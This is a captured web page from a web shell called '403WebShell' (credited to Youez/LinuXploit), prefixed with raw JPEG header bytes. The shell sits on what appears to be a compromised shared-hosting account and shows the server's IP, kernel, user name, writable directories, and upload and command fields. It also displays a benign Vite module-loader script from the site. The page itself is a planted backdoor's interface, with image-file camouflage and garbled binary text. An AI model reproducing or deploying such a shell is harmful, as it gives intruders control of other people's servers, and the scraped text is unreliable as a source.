JFIF ÿØÿà JFIF  H H ÿí 6Photoshop 3.0 8BIM g fDv40PON15YC57AbScWj ÿÛ C    $$$$$$$$$,,,,,,333339999999999ÿÛ C <)!)<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<ÿ ÀÀ" ÿÄ   ÿÄ  ÿÚ   i®~€4 R ¡*MòwM¾óùÿ ºß?‹äûG_êýNqæóz[šGg&7ύÛ¸Ò0C61lE*M1 2]$–Ø•¶Äæ•&†*HT2SJАm $d"hM°¦˜ 0 š4Å ¬r­4KJ&Ö[c(¢Èa Òj“F *¤ Š,¢hLM‰¦¾wßüGN³ö¾™ãë?c?-Ò¹kÁ2×&±.T–oÐiËÓ`č0"“)T°L!‰–ŠIL¤Ó‰ TÄ À„Ð*Mb¹a,b›A4Èm ’74¤ÚD¨„®DÆ*š@@ (¦Ð4²êRX€r£L*hh,C[€Lh Å5(˜ƒªBˆLi¡´!çz~e{?³æjrUW3¢a²÷cçy´Ììö~sß“ESH¤!€Æ€†ŒcHš`,¢4 CT†˜  `‰ªY±Ù DChSjvJb¡² 6$ܲÀh1¡-¨€ª%Z$b¦…¤¹j¤C dr¸ªBaM ‚˜±Ø£¯ç;¹¾ƒ¥~b½Ì»Â ªeŸgÇí³×b1LTС+0šE%AIÙ‰e´"’!„¶É¤Éw ÒN„ÅZ„ †„6@ÐÕ„'D°¶f´K™a%32”&¥B`©Q` cŠ€hY/:µIµ!CYc 44žsêókëy=ŽgÇ×dÊâ©1¹¡×“¨æ‘°…`JS¨t$ÍÌ0ªNYRÕQ,hd¶‰¤Àj8”©…T”¢J mÀ–ÐÓB‰R&´˜Ah†Ù ¡*!*B  &óLC -HטjÆÜÃ&¦4ÐÀ!‰€2|k‚ÏsƒÉƯ+±h¢/Nj©Ë|c»ØùÏ¢ªL’FMJ@®ATÐÊ›¦†Ô r:—@2i ÓRRh4 ‹ˆOÏ_cŸ”öŽ/±~}%üË>›Îòó=ç¨õû¾r¨¯Ø­´àÐìYt›f‘T‡7"N–&Ñ) (!’Z&É ¤Hņ\¼Š•Ë(˜&‚i‚lš)±b~Ëã—+™¦®.Âh¦ jJ• .!°¦lÀC•ÍŠ³ñÎÏžS 403WebShell
403Webshell
Server IP : 66.29.153.100  /  Your IP : 216.73.216.119
Web Server : LiteSpeed
System : Linux server350.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : englildz ( 4891)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/englildz/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/englildz/public_html/vite-module-loader.js
import fs from 'fs/promises';
import path from 'path';

async function collectModuleAssetsPaths(paths, modulesPath) {
  modulesPath = path.join(__dirname, modulesPath);

  const moduleStatusesPath = path.join(__dirname, 'modules_statuses.json');

  try {
    // Read module_statuses.json
    const moduleStatusesContent = await fs.readFile(moduleStatusesPath, 'utf-8');
    const moduleStatuses = JSON.parse(moduleStatusesContent);

    // Read module directories
    const moduleDirectories = await fs.readdir(modulesPath);

    for (const moduleDir of moduleDirectories) {
      if (moduleDir === '.DS_Store') {
        // Skip .DS_Store directory
        continue;
      }

      // Check if the module is enabled (status is true)
      if (moduleStatuses[moduleDir] === true) {
        const viteConfigPath = path.join(modulesPath, moduleDir, 'vite.config.js');
        const stat = await fs.stat(viteConfigPath);

        if (stat.isFile()) {
          // Import the module-specific Vite configuration
          const moduleConfig = await import(viteConfigPath);

          if (moduleConfig.paths && Array.isArray(moduleConfig.paths)) {
            paths.push(...moduleConfig.paths);
          }
        }
      }
    }
  } catch (error) {
    console.error(`Error reading module statuses or module configurations: ${error}`);
  }

  return paths;
}

export default collectModuleAssetsPaths;

Youez - 2016 - github.com/yon3zu
LinuXploit